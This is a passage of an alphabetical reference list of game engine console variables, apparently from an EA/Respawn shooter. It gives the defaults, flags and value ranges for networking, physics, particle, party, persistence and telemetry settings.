+mouse_zoomed_sensitivity_scalar_5 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_6 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_7 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+move_one_cmd_per_client_frame + +Force clients to generate exactly one user command per client frame. There will not be a one-to-one relationship between cmds and ticks. + +default: `"1"` +flags: `0x2002` +
+
+movement_anim_downed_playback_maxrate + + + +default: `"2.5"` +flags: `0x2002` +
+
+movement_anim_playback_maxrate + + + +default: `"10"` +flags: `0x2002` +
+
+movement_anim_playback_minrate + + + +default: `"0.25"` +flags: `0x2002` +
+
+movement_anim_sprint_playback_maxrate + + + +default: `"1.25"` +flags: `0x2002` +
+
+mp_accountLink_requestInterval + + + +default: `"3"` +flags: `0x2` +
+
+mp_allowed + + + +default: `"-1"` +flags: `0x2` +
+
+mp_bodyyawrate + + + +default: `"400"` +flags: `0x2002` +
+
+mp_countRRNobodyAsLobby + + + +default: `"0"` +flags: `0x2` +
+
+mp_enablematchending + +When set to 0, match will not end + +default: `"1"` +flags: `0x2002` +
+
+mp_enabletimelimit + +enable mp_timelimit timer in games + +default: `"1"` +flags: `0x2002` +
+
+mp_gamemode + +Current game mode name + +default: `""` +flags: `0x12002` +
+
+mp_linkingAccountTime + + + +default: `"0"` +flags: `0x2` +
+
+mp_linkingAccountWindow + + + +default: `"300"` +flags: `0x2` +
+
+mp_maxbodyyaw + + + +default: `"60"` +flags: `0x2002` +
+
+mp_permission_requestInterval + + + +default: `"30"` +flags: `0x2` +
+
+mp_permission_rerequestInterval + + + +default: `"21600"` +flags: `0x2` +
+
+mp_player_level + +To read mp player level in SP + +default: `"0"` +flags: `0x1000000` +
+
+mp_scaleAnimationSpeeds + + + +default: `"1"` +flags: `0x2002` +
+
+mp_showgestureslots + +Show multiplayer client/server gesture slot information for the specified player index (-1 for no one). + +default: `"-1"` +flags: `0x6002` +
+
+mtx_svEdition + + + +default: `"78"` +flags: `0x2002` +
+
+muteWeaponSounds + + + +default: `"0"` +flags: `0x2002` +
+
+name + +Current user name + +default: `"unnamed"` +flags: `0x480` +
+
+net_RunInvalidatePhysics + + + +default: `"0"` +flags: `0x2` +
+
+net_async_sendto + + + +default: `"0"` +flags: `0x2` +
+
+net_autoUnthrottle + + + +default: `"0"` +flags: `0x2` +
+
+net_bandwidthPrintThreshold + +Percentage where it's worth printing spam about this message in the bandwidth tracker prints + +default: `"1"` +flags: `0x2` +
+
+net_bindToSpecificAddress + +Only bind to a certain interface + +default: `"0"` +flags: `0x80000` +
+
+net_blockmsg + +Discards incoming message: <0|1|name> + +default: `"none"` +flags: `0x4000` +
+
+net_chatThroughChatserver + + + +default: `"0"` +flags: `0x2` +
+
+net_chokeloop + +Apply bandwidth choke to loopback packets (only in MP) + +default: `"1"` +flags: `0x2` +
+
+net_clearReliableDataOnReset + +Whether we should erase unsent reliable data when we call netchan->Reset() + +default: `"0"` +flags: `0x2` +
+
+net_client_side_weapon_animations + +Enable/disable client side weapon animations. Only apply to already optimized weapons, eg. rapid fire instant hit weapons like xo16, r101 etc. + +default: `"1"` +flags: `0x2002` +
+
+net_compressDataBlock + + + +default: `"1"` +flags: `0x2` +
+
+net_compressLZValue + + + +default: `"1"` +flags: `0x2` +
+
+net_compresspackets + +Use lz compression on game packets. + +default: `"0"` +flags: `0x2` +
+
+net_compresspackets_minsize + +Don't bother compressing packets below this size. + +default: `"1000"` +flags: `0x2` +
+
+net_connectPacketWarningThreshhold + + + +default: `"0.9"` +flags: `0x2` +
+
+net_connectingDataRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_createUndoDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_data_block_enabled + +Enable/disable net data block optimization for load times. When disabled large chunks are sent down via existing netchan reliability system instead of net data blocks. + +default: `"1"` +flags: `0x2002` +
+
+net_datablockPrintSummaries + + + +default: `"0"` +flags: `0x2` +
+
+net_datablock_fastRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_datablock_longSendTime + + + +default: `"10"` +flags: `0x2` +
+
+net_datablock_minResendInterval + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_networkLossForSlowSpeed + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_resendRateForSlowSpeed + + + +default: `"3"` +flags: `0x2` +
+
+net_datablock_slowRate + + + +default: `"64000"` +flags: `0x2` +
+
+net_debugDataBlockReceiver + + + +default: `"0"` +flags: `0x2` +
+
+net_debugDataBlockSender + + + +default: `"0"` +flags: `0x2` +
+
+net_debugLerping + + + +default: `"-1"` +flags: `0x2` +
+
+net_deltaFieldEntityBlockSize + + + +default: `"5"` +flags: `0x2` +
+
+net_disconnectIfDeltaBufferIsFull + + + +default: `"0"` +flags: `0x2` +
+
+net_drawslider + +Draw completion slider during signon + +default: `"0"` +flags: `0x2` +
+
+net_droppackets + +Drops next n packets on client + +default: `"0"` +flags: `0x4000` +
+
+net_dumpChangesPrecise + +Prints floats at full precision + +default: `"0"` +flags: `0x2` +
+
+net_encrypt_copyCtx + + + +default: `"1"` +flags: `0x2` +
+
+net_encryptionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_forceDeltaBufferToOverflow + + + +default: `"0"` +flags: `0x2` +
+
+net_forceUnnecessaryUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_forcetimeout + + + +default: `"0"` +flags: `0x4000` +
+
+net_fullyConnectedDataRate + + + +default: `"256000"` +flags: `0x2` +
+
+net_highPacketLatencyThreshold + + + +default: `"0.200"` +flags: `0x2` +
+
+net_highPacketLossThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+net_ignoreAllSnapshots + +Drop all snapshot messages + +default: `"0"` +flags: `0x2` +
+
+net_largeSnapshotThreshold + +The size of a snapshot that qualifies as a large snapshot + +default: `"15000"` +flags: `0x2` +
+
+net_lerpFields + + + +default: `"1"` +flags: `0x2` +
+
+net_lowBandwidthConnect + + + +default: `"0"` +flags: `0x2` +
+
+net_maxAccumulatedClearTimeBalance + +Max time (in seconds) to count not sending data to this player towards their 'remaining bandwidth' balance [if we haven't sent a packet in 2 minutes, that doesn't mean they have 2 minutes of bandwidth remaining to use] + +default: `"0.5"` +flags: `0x2` +
+
+net_maxcleartime + +Max # of seconds we can wait for next packets to be sent based on rate setting (0 == no limit). + +default: `"4.0"` +flags: `0x2` +
+
+net_maxfilesize + +Maximum allowed file size for uploading in MB + +default: `"16"` +flags: `0x2` +min value: `0` +max value: `64` +
+
+net_maxfragments + +Max fragment bytes per packet + +default: `"1200"` +flags: `0x2` +min value: `256` +max value: `1200` +
+
+net_maxroutable + +Requested max packet size before packets are 'split'. + +default: `"1200"` +flags: `0x202` +min value: `576` +max value: `1200` +
+
+net_minConnectionTimeForSpam + + + +default: `"10"` +flags: `0x2` +
+
+net_minQueuedPacketsForPrint + + + +default: `"5"` +flags: `0x2` +
+
+net_minResetIdleTimerInterval + + + +default: `"10"` +flags: `0x2` +
+
+net_minimumPacketLossDC + +The lowest packet loss we have to any datacenter + +default: `"100"` +flags: `0x200` +
+
+net_minroutable + +Forces larger payloads. + +default: `"16"` +flags: `0x2` +
+
+net_netGraph2 + + + +default: `"0"` +flags: `0x40080000` +
+
+net_noPostDataForDeletedEnts + + + +default: `"1"` +flags: `0x2` +
+
+net_old_seed_generation + + + +default: `"0"` +flags: `0x2002` +
+
+net_optimize_persistent_data + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_playlists + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_weapons + +Enable/disable bandwidth optimizations made to weapons. Additional experimental optimizations can be enabled values 2 (weapon player data) and 3 (client side weapon animation) + +default: `"2"` +flags: `0x2002` +
+
+net_predictParentEntities + + + +default: `"0"` +flags: `0x2` +
+
+net_predictedEntsUseFirstAvailableSnapshot + + + +default: `"1"` +flags: `0x2` +
+
+net_predictionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_pretendSnapshotArrayFull + +Pretend the client snapshot array is full even when it isn't + +default: `"0"` +flags: `0x2` +
+
+net_printCompression + + + +default: `"1"` +flags: `0x2` +
+
+net_printOutOfSnapshots + + + +default: `"1"` +flags: `0x2` +
+
+net_printUnnecessaryDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_propSkipPrintThreshold + +Show prop skips more than this many apart + +default: `"1000"` +flags: `0x2` +
+
+net_queue_trace + + + +default: `"0"` +flags: `0x2000002` +
+
+net_queuedPackets_PrintOversleeps + + + +default: `"0"` +flags: `0x2` +
+
+net_queuedPackets_SkipSmallSleeps + + + +default: `"2"` +flags: `0x2` +
+
+net_queued_packet_sender_nopacket_sleep + + + +default: `"10"` +flags: `0x80000` +
+
+net_queued_packet_thread + +Use a high priority thread to send queued packets out instead of sending them each frame. + +default: `"1"` +flags: `0x2` +
+
+net_recentNetworkGapWindow + + + +default: `"2.0"` +flags: `0x2` +
+
+net_recentNetworkGapsNeeded + + + +default: `"2"` +flags: `0x2` +
+
+net_recreateScriptInstanceOnReplayTransition + + + +default: `"1"` +flags: `0x2` +
+
+net_recv_dumpChanges + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_dumpNetworkedChangesOnEntCreate + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_watchEnt + + + +default: `"-1"` +flags: `0x2` +
+
+net_recv_watchField1 + + + +default: `""` +flags: `0x2` +
+
+net_recv_watchField2 + + + +default: `""` +flags: `0x2` +
+
+net_resourcePrintMinimum + +Minimum count for printing bandwidth info about a resource (sound, effect) + +default: `"2"` +flags: `0x2` +
+
+net_sendFloatDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_sendProfileTotals + + + +default: `"0"` +flags: `0x2` +
+
+net_sendtoInJob + + + +default: `"1"` +flags: `0x2` +
+
+net_showFailedAuth + + + +default: `"1"` +flags: `0x2` +
+
+net_showLargeSnapshot + +Show console spam when we get large snapshots from the server + +default: `"1"` +flags: `0x2` +
+
+net_showQueued + + + +default: `"0"` +flags: `0x2` +
+
+net_showServerStruggle + +Print when the server is struggling. + +default: `"1"` +flags: `0x2` +
+
+net_showUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_showUserWarnings + + + +default: `"1"` +flags: `0x2` +
+
+net_showchoke + +Show console spam when we get choked snapshots from the server + + +default: `"0"` +flags: `0x2` +
+
+net_showchokeInterval + +The minimum time interval between spam about going above our network budget + +default: `"5"` +flags: `0x2` +
+
+net_showdrop + +Show dropped packets in console + +default: `"0"` +flags: `0x2` +
+
+net_showfragments + +Show netchannel fragments + +default: `"0"` +flags: `0x2` +
+
+net_showmsg + +Show incoming message: <0|1|name> + +default: `"0"` +flags: `0x2` +
+
+net_showpeaks + +Show messages for large packets only: + +default: `"0"` +flags: `0x2` +
+
+net_showsendrecv + +Show sendto and recvfrom calls + +default: `"0"` +flags: `0x2` +
+
+net_showsplits + +Show info about packet splits + +default: `"0"` +flags: `0x80000` +
+
+net_showudp + +Dump UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_oob + +Dump OOB UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_remoteonly + +Dump non-loopback udp only + +default: `"0"` +flags: `0x80000` +
+
+net_showusercmd + +Show user command encoding + +default: `"0"` +flags: `0x2` +
+
+net_skipUnnecessaryDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_splitrate + +Number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultMP + +Default MP number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultSP + +Default SP number of fragments for a splitpacket that can be sent per frame + +default: `"10000"` +flags: `0x80000` +
+
+net_tamperPackets + + + +default: `"0"` +flags: `0x2` +
+
+net_threadedEntityDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_threadedProcessPacket + + + +default: `"1"` +flags: `0x2` +
+
+net_timeoutUsesLastReadTime + +Don't let us time out if we haven't been actually checking the socket for packets (inside a loop, for example) + +default: `"1"` +flags: `0x2` +
+
+net_trackerWarningInterval + + + +default: `"5"` +flags: `0x2` +
+
+net_usesocketsforloopback + +Use network sockets layer even for listen server local player's packets (multiplayer only). + +default: `"0"` +flags: `0x2` +
+
+net_verifyEncryption + + + +default: `"0"` +flags: `0x2` +
+
+net_voiceEchoFromChatServer + + + +default: `"0"` +flags: `0x2` +
+
+net_warnAboutSocketReadGaps + +Warn if we are waiting longer than this to check a socket for new packets + +default: `"0.200"` +flags: `0x2` +
+
+net_warnGapTime + + + +default: `"0.4"` +flags: `0x2` +
+
+net_wifi + +0 = ethernet, 1 = wifi, -1 = unknown + +default: `"-1"` +flags: `0x80200` +
+
+net_worldHitchSlopTime + + + +default: `"0.031"` +flags: `0x2` +
+
+next + +Set to 1 to advance to next frame ( when singlestep == 1 ) + +default: `"0"` +flags: `0x4000` +
+
+noReloadAfterUse + +Disables reloads for "+useAndReload" input if a use is triggered. + +default: `"1"` +flags: `0x2002` +
+
+noise_filter_scale + + + +default: `"0.006"` +flags: `0x1000000` +
+
+not_focus_sleep + +MS to sleep while window doesn't have focus + +default: `"50"` +flags: `0x2` +
+
+notification_displayTime + +How long notifications should wait before auto-hiding + +default: `"10"` +flags: `0x2` +
+
+nucleus_id + + + +default: `"0"` +flags: `0x80000200` +
+
+nucleus_pid + + + +default: `"unknown"` +flags: `0x80000200` +
+
+number_shortenToMillionsAfter + + + +default: `"2000000"` +flags: `0x2` +
+
+object_placement_debug + +Enable/disable debug lines for object placement + +default: `"0"` +flags: `0x4002` +
+
+offhandTossOverheadPitchThreshold + + + +default: `"-1.0"` +flags: `0x2002` +
+
+offhand_alignEndAnim1p3p + + + +default: `"1"` +flags: `0x2` +
+
+old_culling + + + +default: `"0"` +flags: `0x2` +
+
+old_gather_props + + + +default: `"0"` +flags: `0x80000` +
+
+one_handed_change_rate + +The rate at which the transition to and from one handed weapon usage takes place + +default: `"1.25"` +flags: `0xa` +
+
+opaque_renderable_worker + + + +default: `"1"` +flags: `0x2` +
+
+openInvite_spam + +Whether open invites should spam to the console log + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByLanguage + + + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByRegion + + + +default: `"1"` +flags: `0x2` +
+
+openinvite_duration_default + + + +default: `"10"` +flags: `0x2` +
+
+ordnanceSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+origin_Errorlevel_OldBehaviour + +Enables Setting errorlevel for as in the old code base did. + + +default: `"1"` +flags: `0x2` +
+
+origin_Errorlevel_Telementry + +Enables sending host Telemetry event for Origin errorLevel + + +default: `"1"` +flags: `0x2` +
+
+origin_authCodeFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+origin_autoRefreshTokenClient + + + +default: `"1"` +flags: `0x2` +
+
+origin_autoRefreshTokenServer + + + +default: `"0"` +flags: `0x2` +
+
+origin_debug + +Enable Origin HTTP debug logging (all HTTP queries and responses, token data etc.) + +default: `"0"` +flags: `0x2` +
+
+origin_disconnectWhenOffline + + + +default: `"1"` +flags: `0x2` +
+
+origin_ignoreInvitesOnLoadScreen + + + +default: `"0"` +flags: `0x2` +
+
+origin_igo_mutes_sound_enabled + +Enables feature for optionally muting game sound when Origin overlays are launched. + +default: `"1"` +flags: `0x2` +
+
+origin_igo_muting_sound + +True if game sound was muted when launching an Origin overlay. + +default: `"0"` +flags: `0x2` +
+
+origin_keepOldPresence + + + +default: `"1"` +flags: `0x2` +
+
+origin_presense_updateRate + +Minimum time between origin updates in seconds. + +default: `"1"` +flags: `0x2` +
+
+origin_tokenFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+panel_showVisChanges + + + +default: `"0"` +flags: `0x2` +
+
+panel_test_title_safe + +Test vgui panel positioning with title safe indentation + +default: `"0"` +flags: `0x4000` +
+
+parenting_debug + + + +default: `"0"` +flags: `0x2` +
+
+particleEffect_checkShouldStillPlay + + + +default: `"1"` +flags: `0x2` +
+
+particle_alwayswakeonstop + + + +default: `"1"` +flags: `0x2002` +
+
+particle_cpu_level + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `2` +
+
+particle_delete_all_except + + + +default: `""` +flags: `0x2` +
+
+particle_dlights_enable + + + +default: `"1"` +flags: `0x2` +
+
+particle_dlights_spew + + + +default: `"0"` +flags: `0x2` +
+
+particle_gpu_level + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_clear_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_size + +The size of each particle in the atlas + +default: `"32"` +flags: `0x2` +
+
+particle_lighting_viewmodel_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_overlay + +Show particle overlay (2 for same as particle_overlay_list_tally) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_attributes + +Space separated list of attributes to show per particle - 'all id duration xyz prev_xyz radius color alpha length' + +default: `"id"` +flags: `0x2` +
+
+particle_overlay_detail_filter + +Filters which particles to see in detail - can be id or substring or * + +default: `""` +flags: `0x2` +
+
+particle_overlay_detail_list_particles + +List individual particles in detail view + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_scroll + +Skip this many rows in particle overlay detail + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_hide_sleeping + +Hide sleeping effects in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_filter + +Filters which particles to see in list - can be id or substring or * + +default: `"*"` +flags: `0x2` +
+
+particle_overlay_list_tally + +Show tally of particle counts, rather than list (same as particle_overlay 2) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_tally_collapse_children + +Collapse children in tally-- only show totals at top level. + +default: `"1"` +flags: `0x2` +
+
+particle_overlay_old + +Draw particle overlay the old way (no imgui) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_scroll + +Skip this many rows in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_remap_vol2cp_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_script_dump + +particle_script_dump SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_script_list + + + +default: `""` +flags: `0x2002` +
+
+particle_script_log + +particle_script_log SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_scrub_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_debug_effect + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_is_using_time_scrub + + + +default: `"0"` +flags: `0x2002` +
+
+particle_scrub_max_dt + + + +default: `"0.02"` +flags: `0x2` +
+
+particle_scrub_play_speed + + + +default: `"1"` +flags: `0x2` +
+
+particle_scrub_quality + + + +default: `"6"` +flags: `0x2` +
+
+particle_scrub_time + + + +default: `"-1"` +flags: `0x2` +
+
+particle_simulateoverflow + +Used for stress-testing particle systems. Randomly denies creation of particles. + +default: `"0"` +flags: `0x4000` +
+
+particles_cull_dlights + + + +default: `"1"` +flags: `0x2002` +
+
+particles_max_passes + + + +default: `"10"` +flags: `0x2002` +
+
+particles_spawncull + + + +default: `"1"` +flags: `0x2002` +
+
+particles_spawncull_report + + + +default: `"0"` +flags: `0x2002` +
+
+parties_alwaysReadSubs + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyAlways + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyDelay + + + +default: `"3"` +flags: `0x2` +
+
+party_color_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+party_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+party_doRealNameLookupsForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_hostname + + + +default: `""` +flags: `0x2` +
+
+party_httpHandleTimeout + + + +default: `"10.0f"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_leaderAlwaysDetectsChanges + + + +default: `"1"` +flags: `0x2` +
+
+party_leaderReadyOnly + + + +default: `"0"` +flags: `0x2` +
+
+party_leaveMatchOnJoin + +Whether a player should quit the match they're in when they join a party + +default: `"0"` +flags: `0x2002` +
+
+party_lookupRealNamesForOpenInvites + + + +default: `"0"` +flags: `0x2` +
+
+party_lookupRealNamesForOpenInvitesForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_minSize + + + +default: `"3"` +flags: `0x2` +
+
+party_privacy + +our privacy setting for parties + +default: `"open"` +flags: `0x2` +
+
+party_readyToSearch + +our ready-up status + +default: `"0"` +flags: `0x2` +
+
+party_relyOnPartyForMemberUserInfo + +If true, we won't re-request userinfo speculatively, only when their version changes in our party block + +default: `"1"` +flags: `0x2` +
+
+party_requireConsensusForSearch + +Whether everyone in the party has to ready up before finding a match + +default: `"1"` +flags: `0x2` +
+
+perTriangleCollisionForced + +Forces all traces on static models to use high detail traces. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_killswitch + +A value of 1 means perfcharts is deactivated. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_pin_enabled + +Enable telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+perfcharts_pin_print + +Print telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+persistenceDef_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistenceDef_queryMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistenceDef_readMaxHttpRetries + + + +default: `"2"` +flags: `0x6` +
+
+persistenceDef_retryReadAfterErrorTime + + + +default: `"15"` +flags: `0x6` +
+
+persistenceDef_writeMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistence_clForceNew + + + +default: `"0"` +flags: `0x200` +
+
+persistence_disableForBuildProcess + + + +default: `"0"` +flags: `0x6` +
+
+persistence_enforce_manifest + +Enable validating against manifest. + +default: `"1"` +flags: `0x2` +
+
+persistence_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistence_new_player_if_upgrade_fails + +Create a new player if upgrade fails. (dev only) + +default: `"0"` +flags: `0x2` +
+
+persistence_upload_def + + + +default: `"1"` +flags: `0x6` +
+
+persistence_upload_failure_is_error + + + +default: `"1"` +flags: `0x6` +
+
+persistent_warningRate + + + +default: `"1"` +flags: `0x2` +
+
+pertrianglecollision + +Enables per-triangle collision with TRACEDETAILLEVEL_HIGH (i.e., bullets) on static models. + +default: `"1"` +flags: `0x2` +
+
+phys_bounce + + + +default: `"0.2"` +flags: `0x2002` +
+
+phys_cfm + +Constraint Force Mixing value. Softens the force applied to resolve constraints. ode.org/ode-latest-userguide.html: "If CFM is set to zero, the constraint will be hard .... the constraint is allowed to be violated by an amount proportional to CFM times the restoring force that is needed to enforce the constraint" + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_cfm_anglejointstop + + + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_drawContacts + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawContactsDuration + + + +default: `"0.016666"` +flags: `0x2002` +
+
+phys_drawGeoms + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawTunnelChecks + + + +default: `"0"` +flags: `0x2002` +
+
+phys_enableObjectPairCollidePrototype + + + +default: `"0"` +flags: `0x2` +
+
+phys_erp + +Fraction of penetration that physics tries to resolve per time step. At 1.0, all contacts add a velocity that will end the penetration in a single frame, though this is unstable. At 0.0, contacts create no outward force (though they still provide friction). + +default: `"0.05"` +flags: `0x2002` +
+
+phys_erp_anglejointstop + + + +default: `"0.05"` +flags: `0x2002` +
+
+phys_frictionDefault + + + +default: `"0.82"` +flags: `0x2002` +
+
+phys_showObjectCount + + + +default: `"0"` +flags: `0x2` +
+
+phys_threadGoWide + +Go wide across threads with Physics. + +default: `"1"` +flags: `0x2` +
+
+physics_async_cl + +Run physics simulation asynchronously from the main thread. + +default: `"1"` +flags: `0x2` +
+
+physics_autoSleepAngularThreshold + +Angular speed below which a physic object goes to sleep. (in degrees / second) + +default: `"120"` +flags: `0x2002` +
+
+physics_autoSleepDebug + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepGroundHysteresis + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepSpeedThreshold + +Speed below which a physic object goes to sleep. + +default: `"20"` +flags: `0x2002` +
+
+physics_collideWithMovingGeo + + + +default: `"1"` +flags: `0x2002` +
+
+physics_collision_speed_threshold + + + +default: `"10"` +flags: `0x2002` +
+
+physics_defaultMaxAngularSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_defaultMaxSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_scaled_mem + +Amout of extra memory taken by scaled collision meshes + +default: `"0"` +flags: `0x2` +
+
+physics_tunnelChecks + +Do traces to prevent physics objects from falling through the world. + +default: `"1"` +flags: `0x2002` +
+
+physics_tunnelChecksForceAlways + +Require objects to do tunnel checks every frame. + +default: `"0"` +flags: `0x2002` +
+
+pin_opt_in + +Enables sending PIN telemetry data to EA + +default: `"1"` +flags: `0x1000000` +
+
+pin_plat_id + +Platform user id for PIN + +default: `"0"` +flags: `0x80000202` +
+
+pin_sid + +session id + +default: `"unknown"` +flags: `0x80000200` +
+
+pin_telemetry_actually_send + + + +default: `"1"` +flags: `0x2` +
+
+pin_telemetry_debug_code + +Shows unformatted json of all messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_payload + +Shows final payloads being sent to PIN server, including header + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_script + +Shows nicely formatted json of script messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_dont_send_events + +List of PIN events to suppress + +default: `""` +flags: `0x2002` +
+
+pin_telemetry_hostname + + + +default: `""` +flags: `0x2` +
+
+pin_telemetry_inactivity_send_time + +Interval at which client PIN messages are sent. (Client only) + +default: `"300"` +flags: `0x2` +
+
+pin_telemetry_max_payload_size + + + +default: `"30720"` +flags: `0x2` +
+
+pin_telemetry_send_debug + +Enables x-ea-lint-level 2 for useful error messages + +default: `"0"` +flags: `0x2` +
+
+ping_debug + +Debug latency calculation. + +default: `"0"` +flags: `0x2` +
+
+ping_max_green + + + +default: `"70"` +flags: `0x2` +
+
+ping_max_red + + + +default: `"250"` +flags: `0x2` +
+
+ping_max_yellow + + + +default: `"140"` +flags: `0x2` +
+
+ping_minSentForChoice + +Minimum number of pings sent to this target (not received) before we are willing to say the player can matchmake because we're confident that this data is useful + +default: `"10"` +flags: `0x2` +
+
+ping_qos_units + +Divisor to use for pings, so we don't think a 3 ping is wildly better than a 4 ping, but we do think a 33 ping is worse than a 31 ping (at 60fps, that's another frame of latency) + +default: `"32"` +flags: `0x2` +
+
+ping_usePacketLoss + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_enable + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_maxquads + +Change the upper bound on how many 2x2 quads to sample for pixel visibility + +default: `"256"` +flags: `0x4000` +
+
+pixvis_spew + + + +default: `"0"` +flags: `0x2` +
+
+plat_environment + + + +default: `""` +flags: `0x2` +
+
+plat_retryNameLookups + + + +default: `"1"` +flags: `0x2` +
+
+platform_user_id + +Platform user id (origin user id on PC, xuid on xboxone) + +default: `"0"` +flags: `0x2` +
+
+playerListPartyColorB + + + +default: `"204"` +flags: `0x2` +
+
+playerListPartyColorG + + + +default: `"255"` +flags: `0x2` +
+
+playerListPartyColorR + + + +default: `"179"` +flags: `0x2` +
+
+playerListUseFriendColor + + + +default: `"1"` +flags: `0x2` +
+
+player_ADS_buffer_time_seconds + +How long (in seconds) will the game buffer a Toggle Zoom attempt if the player cannot ADS when they press the button. + +default: `"1"` +flags: `0x2002` +
+
+player_debugPredictedPosition + + + +default: `"0"` +flags: `0x2` +
+
+player_deltaAnimsMakeMeUnpredicted + + + +default: `"0"` +flags: `0x2` +
+
+player_doJetwashEffects + + + +default: `"0"` +flags: `0x2` +
+
+player_extraairaccelleration + +Extra air acceleration given to players, even if they're already at max speed. Helps to start wall running + +default: `"2.0"` +flags: `0x2002` +
+
+player_highFrequencyThinkDistance + + + +default: `"6000"` +flags: `0x2` +
+
+player_movementBounds_predictionShare + + + +default: `"1"` +flags: `0x2002` +
+
+player_movingDeathThreshold + + + +default: `"50"` +flags: `0x6000` +
+
+player_respawnInputDebounceDuration + +How long after respawning will certain player inputs be debounced for + +default: `"0.5"` +flags: `0x2` +
+
+player_setting_autosprint + +Automatically sprint when walking forward. + +default: `"0"` +flags: `0x41000000` +
+
+player_setting_damage_closes_deathbox_menu + +Controls whether death box automatically closes when taking damage (used for menus). + +default: `"1"` +flags: `0x1000000` +
+
+player_setting_stickysprintforward + +Double-tapping sprint will keep the player sprinting forward. + +default: `"0"` +flags: `0x41000200` +
+
+player_showEyePosition + + + +default: `"0"` +flags: `0x2` +
+
+player_useMovementBounds + + + +default: `"1"` +flags: `0x2002` +
+
+player_viewchange_debug_pitch + + + +default: `"20"` +flags: `0x2` +
+
+player_viewchange_debug_roll + + + +default: `"9"` +flags: `0x2` +
+
+player_viewchange_debug_yaw + + + +default: `"160"` +flags: `0x2` +
+
+playlist_changeGamemodeAutomatically + + + +default: `"1"` +flags: `0x2` +
+
+playlist_debug + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_getvar + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_localization + + + +default: `"0"` +flags: `0x2` +
+
+playlist_dump + +Dump contents of playlists file (and patches) when we parse it + +default: `"0"` +flags: `0x2` +
+
+playlist_privateMatchEnabled + + + +default: `"0"` +flags: `0x2002` +
+
